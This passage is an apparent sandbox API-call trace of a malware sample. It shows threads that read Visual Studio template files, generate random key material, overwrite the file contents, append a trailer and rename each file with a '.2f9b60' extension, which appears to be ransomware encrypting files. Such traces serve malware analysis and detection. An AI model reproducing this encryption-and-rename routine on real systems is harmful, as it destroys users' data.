0x7938222b [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x67442756 [0228.419] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x16015ba [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x61fdbaf2 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x32d12fdb [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x775bd983 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x6d4aa256 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x704ddfd6 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x1a17959 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x5f6f68ae [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x2dfaac64 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x6dbda860 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x3ae68346 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x33bd6d68 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x79353ee0 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x71a9c666 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x776220f [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x3d5c871b [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x6f5f8408 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x33bd6d68 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x455c33a [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x1d151b2d [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0xff1e8a6 [0228.420] RtlRandomEx (in: Seed=0x2d7cf730 | out: Seed=0x2d7cf730) returned 0x6bf0ea6c [0228.428] ReadFile (in: hFile=0xeb8, lpBuffer=0x41cb1d40, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x2d7cf730, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesRead=0x2d7cf730*=0x59c, lpOverlapped=0x0) returned 1 [0228.428] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.428] WriteFile (in: hFile=0xeb8, lpBuffer=0x41c978d0*, nNumberOfBytesToWrite=0x59c, lpNumberOfBytesWritten=0x2d7cf734, lpOverlapped=0x0 | out: lpBuffer=0x41c978d0*, lpNumberOfBytesWritten=0x2d7cf734*=0x59c, lpOverlapped=0x0) returned 1 [0233.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f610 [0233.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dff0 [0233.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dff0) returned 1 [0233.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c978d0) returned 1 [0233.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0233.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ca40) returned 1 [0233.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0233.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ad560 [0233.407] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.407] WriteFile (in: hFile=0xeb8, lpBuffer=0x42c153b0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d7cf850, lpOverlapped=0x0 | out: lpBuffer=0x42c153b0*, lpNumberOfBytesWritten=0x2d7cf850*=0x110, lpOverlapped=0x0) returned 1 [0235.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3710 [0235.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3710) returned 1 [0235.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a3710 [0235.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2630 [0235.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0235.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a30) returned 1 [0235.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97b70 [0235.842] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="85") returned 2 [0235.842] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.842] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.842] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.842] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.842] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="dd") returned 2 [0235.842] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="84") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="37") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="78") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="db") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="df") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="44") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="0c") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="ba") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="98") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="82") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.843] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="9a") returned 2 [0235.843] RtlInitAnsiString (in: DestinationString=0x2d7cf8c8, SourceString="85b0f48c7edd1eb784b3efb53778dbdf0e440cbaa6985dfbfb82cde0b99a" | out: DestinationString="85b0f48c7edd1eb784b3efb53778dbdf0e440cbaa6985dfbfb82cde0b99a") [0235.843] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d7cf898, SourceString="85b0f48c7edd1eb784b3efb53778dbdf0e440cbaa6985dfbfb82cde0b99a", AllocateDestinationString=1 | out: DestinationString="85b0f48c7edd1eb784b3efb53778dbdf0e440cbaa6985dfbfb82cde0b99a") returned 0x0 [0235.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431562b0 [0235.844] wcscat (in: _Dest=0x423ab280, _Source="85b0f48c7edd1eb" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\85b0f48c7edd1eb") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\85b0f48c7edd1eb" [0235.844] wcscat (in: _Dest=0x423ab280, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\85b0f48c7edd1eb.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\85b0f48c7edd1eb.2f9b60" [0235.844] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\85b0f48c7edd1eb.2f9b60", NtPathName=0x2d7cf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\85b0f48c7edd1eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x1cebc9c0 Thread: id = 3795 os_tid = 0x1494 [0227.641] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip")) returned 0x20 [0228.212] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip", dwFileAttributes=0x20) returned 1 [0228.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x324c [0228.214] GetFileSizeEx (in: hFile=0x324c, lpFileSize=0x2d14f680 | out: lpFileSize=0x2d14f680*=1368) returned 1 [0228.214] SetFilePointerEx (in: hFile=0x324c, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.214] ReadFile (in: hFile=0x324c, lpBuffer=0x2d14f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d14f648, lpOverlapped=0x0 | out: lpBuffer=0x2d14f600*, lpNumberOfBytesRead=0x2d14f648*=0x4, lpOverlapped=0x0) returned 1 [0228.399] SetFilePointerEx (in: hFile=0x324c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d90 [0228.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a30 [0228.400] NtQuerySystemTime (in: CurrentTime=0x2d14f540 | out: CurrentTime=0x2d14f540*=132462178324006000) returned 0x0 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x7d0177d [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x67855218 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x52028067 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x511bea87 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x12ace0d2 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x5209f3c [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x453509d7 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x650e4f3d [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x2812666e [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x3eb98ace [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x86bd8f5 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x23b4cd8b [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x4eb66939 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x39765538 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x839ba13 [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x64fe6d6b [0228.400] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x123dc80a [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x2d704223 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x6d4aa256 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x21d31216 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x1cd236fa [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x4d1fe54b [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x2c8d65d0 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x2b5fba1c [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x54728f81 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x6b0b439a [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x658e9263 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x105d98a4 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x4ace74f6 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x2870c168 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x5b8c7275 [0228.401] RtlRandomEx (in: Seed=0x2d14f530 | out: Seed=0x2d14f530) returned 0x16860779 [0228.408] ReadFile (in: hFile=0x324c, lpBuffer=0x41cc85a0, nNumberOfBytesToRead=0x558, lpNumberOfBytesRead=0x2d14f530, lpOverlapped=0x0 | out: lpBuffer=0x41cc85a0*, lpNumberOfBytesRead=0x2d14f530*=0x558, lpOverlapped=0x0) returned 1 [0228.408] SetFilePointerEx (in: hFile=0x324c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.408] WriteFile (in: hFile=0x324c, lpBuffer=0x41ca2d00*, nNumberOfBytesToWrite=0x558, lpNumberOfBytesWritten=0x2d14f534, lpOverlapped=0x0 | out: lpBuffer=0x41ca2d00*, lpNumberOfBytesWritten=0x2d14f534*=0x558, lpOverlapped=0x0) returned 1 [0233.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5e0 [0233.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e800 [0233.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e800) returned 1 [0233.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca2d00) returned 1 [0233.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc85a0) returned 1 [0233.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c7c0) returned 1 [0233.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0233.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431ad9e0 [0233.400] SetFilePointerEx (in: hFile=0x324c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.400] WriteFile (in: hFile=0x324c, lpBuffer=0x42c15050*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2d14f650, lpOverlapped=0x0 | out: lpBuffer=0x42c15050*, lpNumberOfBytesWritten=0x2d14f650*=0x10e, lpOverlapped=0x0) returned 1 [0235.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b00 [0235.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b00) returned 1 [0235.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a3b00 [0235.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2d50 [0235.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1dc0 [0235.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1dc0) returned 1 [0235.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97b70 [0235.828] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="18") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="42") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="27") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="61") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="c4") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="2a") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="30") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="94") returned 2 [0235.828] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.829] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.829] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="1f") returned 2 [0235.829] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="31") returned 2 [0235.829] RtlInitAnsiString (in: DestinationString=0x2d14f6c8, SourceString="b5eef68afd2d187c42275a5d4c1bbc61c47ef08c2a30b2944fb41f31" | out: DestinationString="b5eef68afd2d187c42275a5d4c1bbc61c47ef08c2a30b2944fb41f31") [0235.829] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d14f698, SourceString="b5eef68afd2d187c42275a5d4c1bbc61c47ef08c2a30b2944fb41f31", AllocateDestinationString=1 | out: DestinationString="b5eef68afd2d187c42275a5d4c1bbc61c47ef08c2a30b2944fb41f31") returned 0x0 [0235.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869a40 [0235.829] wcscat (in: _Dest=0x423ab190, _Source="b5eef68afd2d18" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\b5eef68afd2d18") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\b5eef68afd2d18" [0235.829] wcscat (in: _Dest=0x423ab190, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\b5eef68afd2d18.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\b5eef68afd2d18.2f9b60" [0235.830] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\b5eef68afd2d18.2f9b60", NtPathName=0x2d14f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\b5eef68afd2d18.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x431a8e90 Thread: id = 3796 os_tid = 0x1144 [0227.642] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip")) returned 0x20 [0228.182] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip", dwFileAttributes=0x20) returned 1 [0228.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a80 [0228.184] GetFileSizeEx (in: hFile=0x2a80, lpFileSize=0x2d01f6a0 | out: lpFileSize=0x2d01f6a0*=593) returned 1 [0228.184] SetFilePointerEx (in: hFile=0x2a80, liDistanceToMove=0x24d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.184] ReadFile (in: hFile=0x2a80, lpBuffer=0x2d01f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d01f668, lpOverlapped=0x0 | out: lpBuffer=0x2d01f620*, lpNumberOfBytesRead=0x2d01f668*=0x4, lpOverlapped=0x0) returned 1 [0228.185] SetFilePointerEx (in: hFile=0x2a80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa00 [0228.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e750 [0228.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e840 [0228.186] NtQuerySystemTime (in: CurrentTime=0x2d01f560 | out: CurrentTime=0x2d01f560*=132462178321822000) returned 0x0 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x3afa5158 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x41f03969 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0xfc4eb1d [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x6337e273 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x275b62b [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x5d1bf658 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x3584fad5 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x9826b24 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x3e3317fd [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x19601265 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x23787cb9 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x5ce06540 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x29870f2a [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0xeef358d [0228.186] RtlRandomEx (in: Seed=0x2d01f550 | out: Seed=0x2d01f550) returned 0x3ed5f51 [0228.186] RtlRandomEx (in: Seed=0x2d01f550 